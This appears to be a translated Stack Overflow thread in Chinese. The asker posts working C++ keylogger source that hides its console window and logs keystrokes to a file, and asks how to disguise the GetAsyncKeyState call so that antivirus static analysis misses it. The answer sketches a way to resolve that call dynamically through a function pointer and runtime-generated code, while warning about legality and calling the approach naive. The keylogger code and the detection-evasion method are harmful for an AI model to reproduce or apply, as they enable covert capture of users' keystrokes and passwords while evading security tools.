-2

我正在制作自己的源代码混淆器,我注意到如果源代码中有这样的函数调用,一些防病毒引擎会检测到一个简单的键盘记录器。“GetASyncKeyState”。以这个源代码为例,它是一个简单的键盘记录器主要功能。

int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
char KEY = 'x';

while (true) {
    Sleep(10);
    for (int KEY = 8; KEY <= 190; KEY++)
    {
        if (GetAsyncKeyState(KEY) == -32767) {
            if (SpecialKeys(KEY) == false) {

                fstream LogFile;
                LogFile.open("dat.txt", fstream::app);
                if (LogFile.is_open()) {
                    LogFile << char(KEY);
                    LogFile.close();
                }

            }
        }
    }
}

return 0;
}

我想混淆“GetAsyncKeyState”名称的函数调用,以便没有 AV 可以将其检测为键盘记录器。我对使用序数和 GetProcAddress 实现函数调用感到困惑。就像我在下面的代码中尝试过的一样。

typedef int(__cdecl *MYPROC)(LPWSTR);
int main(void)
{
HINSTANCE hinstLib;
MYPROC ProcAdd;
BOOL fFreeResult, fRunTimeLinkSuccess = FALSE;

// Get a handle to the DLL module.

hinstLib = LoadLibrary(TEXT("user32.dll"));

// If the handle is valid, try to get the function address.

if (hinstLib != NULL)
{
    ProcAdd = (MYPROC)GetProcAddress(hinstLib, "GetAsyncKeyState");

    // If the function address is valid, call the function.

    if (NULL != ProcAdd)
    {
        fRunTimeLinkSuccess = TRUE;
        (ProcAdd)(L"Message sent to the DLL function\n Loaded Wao");
        printf("Yahooo Function Called");

    }
    // Free the DLL module.

    fFreeResult = FreeLibrary(hinstLib);
}

// If unable to call the DLL function, use an alternative.
if (!fRunTimeLinkSuccess)
    printf("Message printed from executable\n Not Worked Soory");
getch();
return 0; }

这种实现是不可理解的。也请解释一下。

我只需要等效的“GetAsyncKeyState(Key)”,这样我的混淆器就会检测到该函数调用并将其替换为等效调用(动态),这样我就可以绕过静态分析检测。

4

1 回答 1

5

我正在制作自己的源代码混淆器

其中一些可以购买。一种实用的方法是改进一些现有的开源编译器(如GCCClang)以在其中添加混淆。使用 GCC,您可以为此编写一个GCC 插件(例如在Bismon静态分析器的帮助下)。注意许可问题(您的 GCC 插件可能需要开源;请咨询您的律师)。

一种可能的方法是元编程(另请参见RefPerSys)。您可以编写(使用例如asmjitlibgccjit )一些在运行时生成机器代码的C++ 代码。

而不是调用GetAsyncKeyState您的代码可以:

  • 在初始化时(或不时定期)获取地址GetAsyncKeyState并将其放入某个变量(某个函数指针)中

  • 生成GetAsyncKeyState在某些函数中调用它的机器代码foo

  • 称呼foo

请与您的律师确认您想要编码在您所在国家/地区是否合法。在法国,编写恶意软件是一种刑事犯罪。

还要注意赖斯定理

这样我就可以绕过静态分析检测....

这是一种幼稚的观点。即使使用混淆,可执行文件在技术上也可以通过BinSec等二进制分析工具进行逆向工程

顺便说一句,编写源代码混淆器可能比花钱请律师编写好的EULA成本更高。

一个相反的方法是让你的代码开源(当然,你需要得到你的经理或客户的批准)。请参阅本报告草案中的参考资料。或者阅读(并让你的经理阅读)开源的成功。将一些源代码开源有许多经济和技术原因:这篇论文(由诺贝尔奖获得者Jean Tirole合着)解释了这些原因。另请阅读什么是免费软件......

咨询律师

PS。对于与Bismon源静态分析器(如果提供额外资金,可能会演变成一个代码 ofuscator)或BinSec二进制静态分析器相关的问题(2021 年上半年),请通过电子邮件与我联系basile.starynkevitch@cea.fr

注意。我个人对您的技术方法的看法是它非常幼稚,并且不会保护您的专有软件免受严重的二进制静态分析团队的攻击。

于 2021-03-23T21:45:16.413 回答